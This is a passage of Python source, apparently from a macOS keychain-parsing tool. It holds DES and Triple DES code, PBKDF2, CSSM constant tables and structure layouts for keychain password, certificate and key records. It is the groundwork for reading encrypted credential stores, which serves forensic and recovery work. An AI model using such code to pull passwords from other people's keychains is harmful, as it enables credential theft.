multiple of 8 bytes if the padding character is supplied, the 434 | data will then be padded to a multiple of 8 bytes with this 435 | pad character. 436 | """ 437 | self.__padding = pad 438 | return self.crypt(data, des.ENCRYPT) 439 | 440 | def decrypt(self, data, pad=''): 441 | """decrypt(data, [pad]) -> string 442 | 443 | data : String to be encrypted 444 | pad : Optional argument for decryption padding. Must only be one byte 445 | 446 | The data must be a multiple of 8 bytes and will be decrypted 447 | with the already specified key. If the optional padding character 448 | is supplied, then the un-encypted data will have the padding characters 449 | removed from the end of the string. This pad removal only occurs on the 450 | last 8 bytes of the data (last data block). 451 | """ 452 | self.__padding = pad 453 | return self.crypt(data, des.DECRYPT) 454 | 455 | 456 | ############################################################################# 457 | # Triple DES # 458 | ############################################################################# 459 | class triple_des: 460 | """Triple DES encryption/decrytpion class 461 | 462 | This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or 463 | the DES-EDE2 (when a 16 byte key is supplied) encryption methods. 464 | Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. 465 | 466 | pyDes.des(key, [mode], [IV]) 467 | 468 | key -> The encryption key string, must be either 16 or 24 bytes long 469 | mode -> Optional argument for encryption type, can be either pyDes.ECB 470 | (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) 471 | IV -> Optional string argument, must be supplied if using CBC mode. 472 | Must be 8 bytes in length. 473 | """ 474 | 475 | def __init__(self, key, mode=ECB, IV=None): 476 | self.block_size = 8 477 | self.setMode(mode) 478 | self.__padding = '' 479 | self.__iv = IV 480 | self.setKey(key) 481 | 482 | def getKey(self): 483 | """getKey() -> string""" 484 | return self.__key 485 | 486 | def setKey(self, key): 487 | """Will set the crypting key for this object. Either 16 or 24 bytes long.""" 488 | self.key_size = 24 # Use DES-EDE3 mode 489 | if len(key) != self.key_size: 490 | if len(key) == 16: # Use DES-EDE2 mode 491 | self.key_size = 16 492 | else: 493 | raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") 494 | if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size): 495 | raise ValueError("Invalid IV, must be 8 bytes in length") ## TODO: Check this 496 | # modes get handled later, since CBC goes on top of the triple-des 497 | self.__key1 = des(key[:8]) 498 | self.__key2 = des(key[8:16]) 499 | if self.key_size == 16: 500 | self.__key3 = self.__key1 501 | else: 502 | self.__key3 = des(key[16:]) 503 | self.__key = key 504 | 505 | def getMode(self): 506 | """getMode() -> pyDes.ECB or pyDes.CBC""" 507 | return self.__mode 508 | 509 | def setMode(self, mode): 510 | """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" 511 | self.__mode = mode 512 | 513 | def getIV(self): 514 | """getIV() -> string""" 515 | return self.__iv 516 | 517 | def setIV(self, IV): 518 | """Will set the Initial Value, used in conjunction with CBC mode""" 519 | self.__iv = IV 520 | 521 | def xorstr(self, x, y): 522 | """Returns the bitwise xor of the bytes in two strings""" 523 | if len(x) != len(y): 524 | raise "string lengths differ %d %d" % (len(x), len(y)) 525 | 526 | ret = '' 527 | for i in range(len(x)): 528 | ret += chr(ord(x[i]) ^ ord(y[i])) 529 | 530 | return ret 531 | 532 | def encrypt(self, data, pad=''): 533 | """encrypt(data, [pad]) -> string 534 | 535 | data : String to be encrypted 536 | pad : Optional argument for encryption padding. Must only be one byte 537 | 538 | The data must be a multiple of 8 bytes and will be encrypted 539 | with the already specified key. Data does not have to be a 540 | multiple of 8 bytes if the padding character is supplied, the 541 | data will then be padded to a multiple of 8 bytes with this 542 | pad character. 543 | """ 544 | if self.getMode() == ECB: 545 | # simple 546 | data = self.__key1.encrypt(data, pad) 547 | data = self.__key2.decrypt(data) 548 | return self.__key3.encrypt(data) 549 | 550 | if self.getMode() == CBC: 551 | raise "This code hasn't been tested yet" 552 | if len(data) % self.block_size != 0: 553 | raise "CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)" 554 | 555 | # simple 556 | lastblock = self.getIV() 557 | retdata = '' 558 | for i in range(0, len(data), self.block_size): 559 | thisblock = data[i:i + self.block_size] 560 | # the XOR for CBC 561 | thisblock = self.xorstr(lastblock, thisblock) 562 | thisblock = self.__key1.encrypt(thisblock) 563 | thisblock = self.__key2.decrypt(thisblock) 564 | lastblock = self.__key3.encrypt(thisblock) 565 | retdata += lastblock 566 | return retdata 567 | 568 | raise "Not reached" 569 | 570 | def decrypt(self, data, pad=''): 571 | """decrypt(data, [pad]) -> string 572 | 573 | data : String to be encrypted 574 | pad : Optional argument for decryption padding. Must only be one byte 575 | 576 | The data must be a multiple of 8 bytes and will be decrypted 577 | with the already specified key. If the optional padding character 578 | is supplied, then the un-encypted data will have the padding characters 579 | removed from the end of the string. This pad removal only occurs on the 580 | last 8 bytes of the data (last data block). 581 | """ 582 | if self.getMode() == ECB: 583 | # simple 584 | data = self.__key3.decrypt(data) 585 | data = self.__key2.encrypt(data) 586 | return self.__key1.decrypt(data, pad) 587 | 588 | if self.getMode() == CBC: 589 | if len(data) % self.block_size != 0: 590 | raise "Can only decrypt multiples of blocksize" 591 | 592 | lastblock = self.getIV() 593 | retdata = '' 594 | for i in range(0, len(data), self.block_size): 595 | # can I arrange this better? probably... 596 | cipherchunk = data[i:i + self.block_size] 597 | thisblock = self.__key3.decrypt(cipherchunk) 598 | thisblock = self.__key2.encrypt(thisblock) 599 | thisblock = self.__key1.decrypt(thisblock) 600 | retdata += self.xorstr(lastblock, thisblock) 601 | lastblock = cipherchunk 602 | return retdata 603 | 604 | raise "Not reached" 605 | 606 | 607 | KEY_TYPE = { 608 | 0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY', 609 | 0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY', 610 | 0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY', 611 | 0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART', 612 | 0xFFFFFFFF : 'CSSM_KEYCLASS_OTHER' 613 | } 614 | 615 | CSSM_ALGORITHMS = { 616 | 0 : 'CSSM_ALGID_NONE', 617 | 1 : 'CSSM_ALGID_CUSTOM', 618 | 2 : 'CSSM_ALGID_DH', 619 | 3 : 'CSSM_ALGID_PH', 620 | 4 : 'CSSM_ALGID_KEA', 621 | 5 : 'CSSM_ALGID_MD2', 622 | 6 : 'CSSM_ALGID_MD4', 623 | 7 : 'CSSM_ALGID_MD5', 624 | 8 : 'CSSM_ALGID_SHA1', 625 | 9 : 'CSSM_ALGID_NHASH', 626 | 10 : 'CSSM_ALGID_HAVAL:', 627 | 11 : 'CSSM_ALGID_RIPEMD', 628 | 12 : 'CSSM_ALGID_IBCHASH', 629 | 13 : 'CSSM_ALGID_RIPEMAC', 630 | 14 : 'CSSM_ALGID_DES', 631 | 15 : 'CSSM_ALGID_DESX', 632 | 16 : 'CSSM_ALGID_RDES', 633 | 17 : 'CSSM_ALGID_3DES_3KEY_EDE', 634 | 18 : 'CSSM_ALGID_3DES_2KEY_EDE', 635 | 19 : 'CSSM_ALGID_3DES_1KEY_EEE', 636 | 20 : 'CSSM_ALGID_3DES_3KEY_EEE', 637 | 21 : 'CSSM_ALGID_3DES_2KEY_EEE', 638 | 22 : 'CSSM_ALGID_IDEA', 639 | 23 : 'CSSM_ALGID_RC2', 640 | 24 : 'CSSM_ALGID_RC5', 641 | 25 : 'CSSM_ALGID_RC4', 642 | 26 : 'CSSM_ALGID_SEAL', 643 | 27 : 'CSSM_ALGID_CAST', 644 | 28 : 'CSSM_ALGID_BLOWFISH', 645 | 29 : 'CSSM_ALGID_SKIPJACK', 646 | 30 : 'CSSM_ALGID_LUCIFER', 647 | 31 : 'CSSM_ALGID_MADRYGA', 648 | 32 : 'CSSM_ALGID_FEAL', 649 | 33 : 'CSSM_ALGID_REDOC', 650 | 34 : 'CSSM_ALGID_REDOC3', 651 | 35 : 'CSSM_ALGID_LOKI', 652 | 36 : 'CSSM_ALGID_KHUFU', 653 | 37 : 'CSSM_ALGID_KHAFRE', 654 | 38 : 'CSSM_ALGID_MMB', 655 | 39 : 'CSSM_ALGID_GOST', 656 | 40 : 'CSSM_ALGID_SAFER', 657 | 41 : 'CSSM_ALGID_CRAB', 658 | 42 : 'CSSM_ALGID_RSA', 659 | 43 : 'CSSM_ALGID_DSA', 660 | 44 : 'CSSM_ALGID_MD5WithRSA', 661 | 45 : 'CSSM_ALGID_MD2WithRSA', 662 | 46 : 'CSSM_ALGID_ElGamal', 663 | 47 : 'CSSM_ALGID_MD2Random', 664 | 48 : 'CSSM_ALGID_MD5Random', 665 | 49 : 'CSSM_ALGID_SHARandom', 666 | 50 : 'CSSM_ALGID_DESRandom', 667 | 51 : 'CSSM_ALGID_SHA1WithRSA', 668 | 52 : 'CSSM_ALGID_CDMF', 669 | 53 : 'CSSM_ALGID_CAST3', 670 | 54 : 'CSSM_ALGID_CAST5', 671 | 55 : 'CSSM_ALGID_GenericSecret', 672 | 56 : 'CSSM_ALGID_ConcatBaseAndKey', 673 | 57 : 'CSSM_ALGID_ConcatKeyAndBase', 674 | 58 : 'CSSM_ALGID_ConcatBaseAndData', 675 | 59 : 'CSSM_ALGID_ConcatDataAndBase', 676 | 60 : 'CSSM_ALGID_XORBaseAndData', 677 | 61 : 'CSSM_ALGID_ExtractFromKey', 678 | 62 : 'CSSM_ALGID_SSL3PreMasterGen', 679 | 63 : 'CSSM_ALGID_SSL3MasterDerive', 680 | 64 : 'CSSM_ALGID_SSL3KeyAndMacDerive', 681 | 65 : 'CSSM_ALGID_SSL3MD5_MAC', 682 | 66 : 'CSSM_ALGID_SSL3SHA1_MAC', 683 | 67 : 'CSSM_ALGID_PKCS5_PBKDF1_MD5', 684 | 68 : 'CSSM_ALGID_PKCS5_PBKDF1_MD2', 685 | 69 : 'CSSM_ALGID_PKCS5_PBKDF1_SHA1', 686 | 70 : 'CSSM_ALGID_WrapLynks', 687 | 71 : 'CSSM_ALGID_WrapSET_OAEP', 688 | 72 : 'CSSM_ALGID_BATON', 689 | 73 : 'CSSM_ALGID_ECDSA', 690 | 74 : 'CSSM_ALGID_MAYFLY', 691 | 75 : 'CSSM_ALGID_JUNIPER', 692 | 76 : 'CSSM_ALGID_FASTHASH', 693 | 77 : 'CSSM_ALGID_3DES', 694 | 78 : 'CSSM_ALGID_SSL3MD5', 695 | 79 : 'CSSM_ALGID_SSL3SHA1', 696 | 80 : 'CSSM_ALGID_FortezzaTimestamp', 697 | 81 : 'CSSM_ALGID_SHA1WithDSA', 698 | 82 : 'CSSM_ALGID_SHA1WithECDSA', 699 | 83 : 'CSSM_ALGID_DSA_BSAFE', 700 | 84 : 'CSSM_ALGID_ECDH', 701 | 85 : 'CSSM_ALGID_ECMQV', 702 | 86 : 'CSSM_ALGID_PKCS12_SHA1_PBE', 703 | 87 : 'CSSM_ALGID_ECNRA', 704 | 88 : 'CSSM_ALGID_SHA1WithECNRA', 705 | 89 : 'CSSM_ALGID_ECES', 706 | 90 : 'CSSM_ALGID_ECAES', 707 | 91 : 'CSSM_ALGID_SHA1HMAC', 708 | 92 : 'CSSM_ALGID_FIPS186Random', 709 | 93 : 'CSSM_ALGID_ECC', 710 | 94 : 'CSSM_ALGID_MQV', 711 | 95 : 'CSSM_ALGID_NRA', 712 | 96 : 'CSSM_ALGID_IntelPlatformRandom', 713 | 97 : 'CSSM_ALGID_UTC', 714 | 98 : 'CSSM_ALGID_HAVAL3', 715 | 99 : 'CSSM_ALGID_HAVAL4', 716 | 100 : 'CSSM_ALGID_HAVAL5', 717 | 101 : 'CSSM_ALGID_TIGER', 718 | 102 : 'CSSM_ALGID_MD5HMAC', 719 | 103 : 'CSSM_ALGID_PKCS5_PBKDF2', 720 | 104 : 'CSSM_ALGID_RUNNING_COUNTER', 721 | 0x7FFFFFFF : 'CSSM_ALGID_LAST' 722 | } 723 | 724 | #CSSM TYPE 725 | ## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h 726 | 727 | ########## CSSM_DB_RECORDTYPE ############# 728 | 729 | #/* Industry At Large Application Name Space Range Definition */ 730 | #/* AppleFileDL record types. */ 731 | CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000 732 | CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0 733 | CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1 734 | CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2 735 | CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3 736 | CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4 737 | CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5 738 | CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6 739 | 740 | CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000 741 | CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000 ## DBBlob 742 | CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff 743 | 744 | #/* Record Types defined in the Schema Management Name Space */ 745 | CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000 746 | CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0 747 | CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1 748 | CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2 749 | CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3 750 | CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4 751 | 752 | #/* Record Types defined in the Open Group Application Name Space */ 753 | #/* Open Group Application Name Space Range Definition*/ 754 | CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A 755 | CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0 756 | CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1 757 | CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2 758 | CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3 759 | CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4 760 | CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5 761 | CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6 762 | CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7 763 | CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 764 | CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 765 | ##################### 766 | 767 | ######## KEYUSE ######### 768 | CSSM_KEYUSE_ANY = 0x80000000 769 | CSSM_KEYUSE_ENCRYPT = 0x00000001 770 | CSSM_KEYUSE_DECRYPT = 0x00000002 771 | CSSM_KEYUSE_SIGN = 0x00000004 772 | CSSM_KEYUSE_VERIFY = 0x00000008 773 | CSSM_KEYUSE_SIGN_RECOVER = 0x00000010 774 | CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020 775 | CSSM_KEYUSE_WRAP = 0x00000040 776 | CSSM_KEYUSE_UNWRAP = 0x00000080 777 | CSSM_KEYUSE_DERIVE = 0x00000100 778 | #################### 779 | 780 | ############ CERT TYPE ############## 781 | CERT_TYPE = { 782 | 0x00 : 'CSSM_CERT_UNKNOWN', 783 | 0x01 : 'CSSM_CERT_X_509v1', 784 | 0x02 : 'CSSM_CERT_X_509v2', 785 | 0x03 : 'CSSM_CERT_X_509v3', 786 | 0x04 : 'CSSM_CERT_PGP', 787 | 0x05 : 'CSSM_CERT_SPKI', 788 | 0x06 : 'CSSM_CERT_SDSIv1', 789 | 0x08 : 'CSSM_CERT_Intel', 790 | 0x09 : 'CSSM_CERT_X_509_ATTRIBUTE', 791 | 0x0A : 'CSSM_CERT_X9_ATTRIBUTE', 792 | 0x0C : 'CSSM_CERT_ACL_ENTRY', 793 | 0x7FFE: 'CSSM_CERT_MULTIPLE', 794 | 0x7FFF : 'CSSM_CERT_LAST', 795 | 0x8000 : 'CSSM_CL_CUSTOM_CERT_TYPE' 796 | } 797 | #################################### 798 | 799 | ########### CERT ENCODING ############# 800 | CERT_ENCODING = { 801 | 0x00 : 'CSSM_CERT_ENCODING_UNKNOWN', 802 | 0x01 : 'CSSM_CERT_ENCODING_CUSTOM', 803 | 0x02 : 'CSSM_CERT_ENCODING_BER', 804 | 0x03 : 'CSSM_CERT_ENCODING_DER', 805 | 0x04 : 'CSSM_CERT_ENCODING_NDR', 806 | 0x05 : 'CSSM_CERT_ENCODING_SEXPR', 807 | 0x06 : 'CSSM_CERT_ENCODING_PGP', 808 | 0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE', 809 | 0x7FFF : 'CSSM_CERT_ENCODING_LAST' 810 | } 811 | 812 | STD_APPLE_ADDIN_MODULE = { 813 | '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself', 814 | '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")', 815 | '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)', 816 | '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")', 817 | '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL', 818 | '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP', 819 | '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL', 820 | '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies', 821 | '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL', 822 | '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access' 823 | } 824 | 825 | SECURE_STORAGE_GROUP = 'ssgp' 826 | 827 | AUTH_TYPE = { 828 | 'ntlm': 'kSecAuthenticationTypeNTLM', 829 | 'msna': 'kSecAuthenticationTypeMSN', 830 | 'dpaa': 'kSecAuthenticationTypeDPA', 831 | 'rpaa': 'kSecAuthenticationTypeRPA', 832 | 'http': 'kSecAuthenticationTypeHTTPBasic', 833 | 'httd': 'kSecAuthenticationTypeHTTPDigest', 834 | 'form': 'kSecAuthenticationTypeHTMLForm', 835 | 'dflt': 'kSecAuthenticationTypeDefault', 836 | '': 'kSecAuthenticationTypeAny', 837 | '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny' 838 | } 839 | 840 | PROTOCOL_TYPE = { 841 | 'ftp ': 'kSecProtocolTypeFTP', 842 | 'ftpa': 'kSecProtocolTypeFTPAccount', 843 | 'http': 'kSecProtocolTypeHTTP', 844 | 'irc ': 'kSecProtocolTypeIRC', 845 | 'nntp': 'kSecProtocolTypeNNTP', 846 | 'pop3': 'kSecProtocolTypePOP3', 847 | 'smtp': 'kSecProtocolTypeSMTP', 848 | 'sox ': 'kSecProtocolTypeSOCKS', 849 | 'imap': 'kSecProtocolTypeIMAP', 850 | 'ldap': 'kSecProtocolTypeLDAP', 851 | 'atlk': 'kSecProtocolTypeAppleTalk', 852 | 'afp ': 'kSecProtocolTypeAFP', 853 | 'teln': 'kSecProtocolTypeTelnet', 854 | 'ssh ': 'kSecProtocolTypeSSH', 855 | 'ftps': 'kSecProtocolTypeFTPS', 856 | 'htps': 'kSecProtocolTypeHTTPS', 857 | 'htpx': 'kSecProtocolTypeHTTPProxy', 858 | 'htsx': 'kSecProtocolTypeHTTPSProxy', 859 | 'ftpx': 'kSecProtocolTypeFTPProxy', 860 | 'cifs': 'kSecProtocolTypeCIFS', 861 | 'smb ': 'kSecProtocolTypeSMB', 862 | 'rtsp': 'kSecProtocolTypeRTSP', 863 | 'rtsx': 'kSecProtocolTypeRTSPProxy', 864 | 'daap': 'kSecProtocolTypeDAAP', 865 | 'eppc': 'kSecProtocolTypeEPPC', 866 | 'ipp ': 'kSecProtocolTypeIPP', 867 | 'ntps': 'kSecProtocolTypeNNTPS', 868 | 'ldps': 'kSecProtocolTypeLDAPS', 869 | 'tels': 'kSecProtocolTypeTelnetS', 870 | 'imps': 'kSecProtocolTypeIMAPS', 871 | 'ircs': 'kSecProtocolTypeIRCS', 872 | 'pops': 'kSecProtocolTypePOP3S', 873 | 'cvsp': 'kSecProtocolTypeCVSpserver', 874 | 'svn ': 'kSecProtocolTypeCVSpserver', 875 | 'AdIM': 'kSecProtocolTypeAdiumMessenger', 876 | '\x00\x00\x00\x00': 'kSecProtocolTypeAny' 877 | } 878 | 879 | # This is somewhat gross: we define a bunch of module-level constants based on 880 | # the SecKeychainItem.h defines (FourCharCodes) by passing them through 881 | # struct.unpack and converting them to ctypes.c_long() since we'll never use 882 | # them for non-native APIs 883 | 884 | CARBON_DEFINES = { 885 | 'cdat': 'kSecCreationDateItemAttr', 886 | 'mdat': 'kSecModDateItemAttr', 887 | 'desc': 'kSecDescriptionItemAttr', 888 | 'icmt': 'kSecCommentItemAttr', 889 | 'crtr': 'kSecCreatorItemAttr', 890 | 'type': 'kSecTypeItemAttr', 891 | 'scrp': 'kSecScriptCodeItemAttr', 892 | 'labl': 'kSecLabelItemAttr', 893 | 'invi': 'kSecInvisibleItemAttr', 894 | 'nega': 'kSecNegativeItemAttr', 895 | 'cusi': 'kSecCustomIconItemAttr', 896 | 'acct': 'kSecAccountItemAttr', 897 | 'svce': 'kSecServiceItemAttr', 898 | 'gena': 'kSecGenericItemAttr', 899 | 'sdmn': 'kSecSecurityDomainItemAttr', 900 | 'srvr': 'kSecServerItemAttr', 901 | 'atyp': 'kSecAuthenticationTypeItemAttr', 902 | 'port': 'kSecPortItemAttr', 903 | 'path': 'kSecPathItemAttr', 904 | 'vlme': 'kSecVolumeItemAttr', 905 | 'addr': 'kSecAddressItemAttr', 906 | 'ssig': 'kSecSignatureItemAttr', 907 | 'ptcl': 'kSecProtocolItemAttr', 908 | 'ctyp': 'kSecCertificateType', 909 | 'cenc': 'kSecCertificateEncoding', 910 | 'crtp': 'kSecCrlType', 911 | 'crnc': 'kSecCrlEncoding', 912 | 'alis': 'kSecAlias', 913 | 'inet': 'kSecInternetPasswordItemClass', 914 | 'genp': 'kSecGenericPasswordItemClass', 915 | 'ashp': 'kSecAppleSharePasswordItemClass', 916 | CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass' 917 | } 918 | 919 | BLOCKLEN = 20 920 | 921 | # this is what you want to call. 922 | def pbkdf2(password, salt, itercount, keylen, hashfn=sha): 923 | # l - number of output blocks to produce 924 | l = keylen / BLOCKLEN 925 | if keylen % BLOCKLEN != 0: 926 | l += 1 927 | 928 | h = hmac.new(password, None, hashfn) 929 | 930 | T = "" 931 | for i in range(1, l + 1): 932 | T += pbkdf2_F(h, salt, itercount, i) 933 | 934 | return T[: -( BLOCKLEN - keylen % BLOCKLEN)] 935 | 936 | 937 | def xorstr(a, b): 938 | if len(a) != len(b): 939 | raise "xorstr(): lengths differ" 940 | 941 | ret = '' 942 | for i in range(len(a)): 943 | ret += chr(ord(a[i]) ^ ord(b[i])) 944 | 945 | return ret 946 | 947 | 948 | def prf(h, data): 949 | hm = h.copy() 950 | hm.update(data) 951 | return hm.digest() 952 | 953 | # Helper as per the spec. h is a hmac which has been created seeded with the 954 | # password, it will be copy()ed and not modified. 955 | def pbkdf2_F(h, salt, itercount, blocknum): 956 | U = prf(h, salt + pack('>i', blocknum)) 957 | T = U 958 | 959 | for i in range(2, itercount + 1): 960 | U = prf(h, U) 961 | T = xorstr(T, U) 962 | 963 | return T 964 | 965 | ATOM_SIZE = 4 966 | SIZEOFKEYCHAINTIME = 16 967 | 968 | KEYCHAIN_SIGNATURE = "kych" 969 | 970 | DBBLOB_SIGNATURE = unhexlify('fade0711') 971 | 972 | BLOCKSIZE = 8 973 | KEYLEN = 24 974 | 975 | class _APPL_DB_HEADER(BigEndianStructure): 976 | _fields_ = [ 977 | ("Signature", c_char*4), 978 | ("Version", c_int), 979 | ("HeaderSize", c_int), 980 | ("SchemaOffset", c_int), 981 | ("AuthOffset", c_int) 982 | ] 983 | 984 | class _APPL_DB_SCHEMA(BigEndianStructure): 985 | _fields_ = [ 986 | ("SchemaSize", c_int), 987 | ("TableCount", c_int) 988 | ] 989 | 990 | class _KEY_BLOB_REC_HEADER(BigEndianStructure): 991 | _fields_ = [ 992 | ("RecordSize", c_uint), 993 | ("RecordCount", c_uint), 994 | ("Dummy", c_char*0x7C), 995 | ] 996 | 997 | class _KEY_BLOB_RECORD(BigEndianStructure): 998 | _fields_ = [ 999 | ("Signature", c_uint), 1000 | ("Version", c_uint), 1001 | ("CipherOffset", c_uint), 1002 | ("TotalLength", c_uint) 1003 | ] 1004 | 1005 | class _GENERIC_PW_HEADER(BigEndianStructure): 1006 | _fields_ = [ 1007 | ("RecordSize", c_uint), 1008 | ("RecordNumber", c_uint), 1009 | ("Unknown2", c_uint), 1010 | ("Unknown3", c_uint), 1011 | ("SSGPArea", c_uint), 1012 | ("Unknown5", c_uint), 1013 | ("CreationDate", c_uint), 1014 | ("ModDate", c_uint), 1015 | ("Description", c_uint), 1016 | ("Comment", c_uint), 1017 | ("Creator", c_uint), 1018 | ("Type", c_uint), 1019 | ("ScriptCode", c_uint), 1020 | ("PrintName", c_uint), 1021 | ("Alias", c_uint), 1022 | ("Invisible", c_uint), 1023 | ("Negative", c_uint), 1024 | ("CustomIcon", c_uint), 1025 | ("Protected", c_uint), 1026 | ("Account", c_uint), 1027 | ("Service", c_uint), 1028 | ("Generic", c_uint) 1029 | ] 1030 | 1031 | class _APPLE_SHARE_HEADER(BigEndianStructure): 1032 | _fields_ = [ 1033 | ("RecordSize", c_uint), 1034 | ("RecordNumber", c_uint), 1035 | ("Unknown2", c_uint), 1036 | ("Unknown3", c_uint), 1037 | ("SSGPArea", c_uint), 1038 | ("Unknown5", c_uint), 1039 | ("CreationDate", c_uint), 1040 | ("ModDate", c_uint), 1041 | ("Description", c_uint), 1042 | ("Comment", c_uint), 1043 | ("Creator", c_uint), 1044 | ("Type", c_uint), 1045 | ("ScriptCode", c_uint), 1046 | ("PrintName", c_uint), 1047 | ("Alias", c_uint), 1048 | ("Invisible", c_uint), 1049 | ("Negative", c_uint), 1050 | ("CustomIcon", c_uint), 1051 | ("Protected", c_uint), 1052 | ("Account", c_uint), 1053 | ("Volume", c_uint), 1054 | ("Server", c_uint), 1055 | ("Protocol", c_uint), 1056 | ("AuthType", c_uint), 1057 | ("Address", c_uint), 1058 | ("Signature", c_uint) 1059 | ] 1060 | 1061 | class _INTERNET_PW_HEADER(BigEndianStructure): 1062 | _fields_ = [ 1063 | ("RecordSize", c_uint), 1064 | ("RecordNumber", c_uint), 1065 | ("Unknown2", c_uint), 1066 | ("Unknown3", c_uint), 1067 | ("SSGPArea", c_uint), 1068 | ("Unknown5", c_uint), 1069 | ("CreationDate", c_uint), 1070 | ("ModDate", c_uint), 1071 | ("Description", c_uint), 1072 | ("Comment", c_uint), 1073 | ("Creator", c_uint), 1074 | ("Type", c_uint), 1075 | ("ScriptCode", c_uint), 1076 | ("PrintName", c_uint), 1077 | ("Alias", c_uint), 1078 | ("Invisible", c_uint), 1079 | ("Negative", c_uint), 1080 | ("CustomIcon", c_uint), 1081 | ("Protected", c_uint), 1082 | ("Account", c_uint), 1083 | ("SecurityDomain", c_uint), 1084 | ("Server", c_uint), 1085 | ("Protocol", c_uint), 1086 | ("AuthType", c_uint), 1087 | ("Port", c_uint), 1088 | ("Path", c_uint) 1089 | ] 1090 | 1091 | class _X509_CERT_HEADER(BigEndianStructure): 1092 | _fields_ = [ 1093 | ("RecordSize", c_uint), 1094 | ("RecordNumber", c_uint), 1095 | ("Unknown1", c_uint), 1096 | ("Unknown2", c_uint), 1097 | ("CertSize", c_uint), 1098 | ("Unknown3", c_uint), 1099 | ("CertType", c_uint), 1100 | ("CertEncoding", c_uint), 1101 | ("PrintName", c_uint), 1102 | ("Alias", c_uint), 1103 | ("Subject", c_uint), 1104 | ("Issuer", c_uint), 1105 | ("SerialNumber", c_uint), 1106 | ("SubjectKeyIdentifier", c_uint), 1107 | ("PublicKeyHash", c_uint) 1108 | ] 1109 | 1110 | # http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h 1111 | # http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h 1112 | class _SECKEY_HEADER(BigEndianStructure): 1113 | _fields_ = [ 1114 | ("RecordSize", c_uint), 1115 | ("RecordNumber", c_uint), 1116 | ("Unknown1", c_uint), 1117 | ("Unknown2", c_uint), 1118 | ("BlobSize", c_uint), 1119 | ("Unknown3", c_uint), 1120 | ("KeyClass", c_uint), 1121 | ("PrintName", c_uint), 1122 | ("Alias", c_uint), 1123 | ("Permanent", c_uint), 1124 | ("Private", c_uint), 1125 | ("Modifiable", c_uint), 1126 | ("Label", c_uint), 1127 | ("ApplicationTag", 